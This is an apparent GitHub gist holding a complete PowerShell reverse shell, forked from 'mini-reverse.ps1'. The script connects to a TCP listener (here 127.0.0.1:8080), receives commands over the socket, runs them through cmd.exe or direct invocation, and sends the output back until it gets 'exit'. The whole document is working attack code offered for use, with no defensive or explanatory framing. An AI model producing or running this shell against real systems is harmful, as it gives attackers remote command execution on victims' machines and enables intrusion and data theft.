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@mgeeky
Forked from staaldraad/mini-reverse.ps1
Last active November 25, 2019 12:03
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A reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 8080);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
$res = ""
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$out.equals("exit")){
$args = "";
if($out.IndexOf(' ') -gt -1){
$args = $out.substring($out.IndexOf(' ')+1);
$out = $out.substring(0,$out.IndexOf(' '));
if($args.split(' ').length -gt 1){
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "cmd.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/c $out $args"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
} else {
$res = $stdout
}
}
else{
$res = (&"$out" "$args") | out-string;
}
}
else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()
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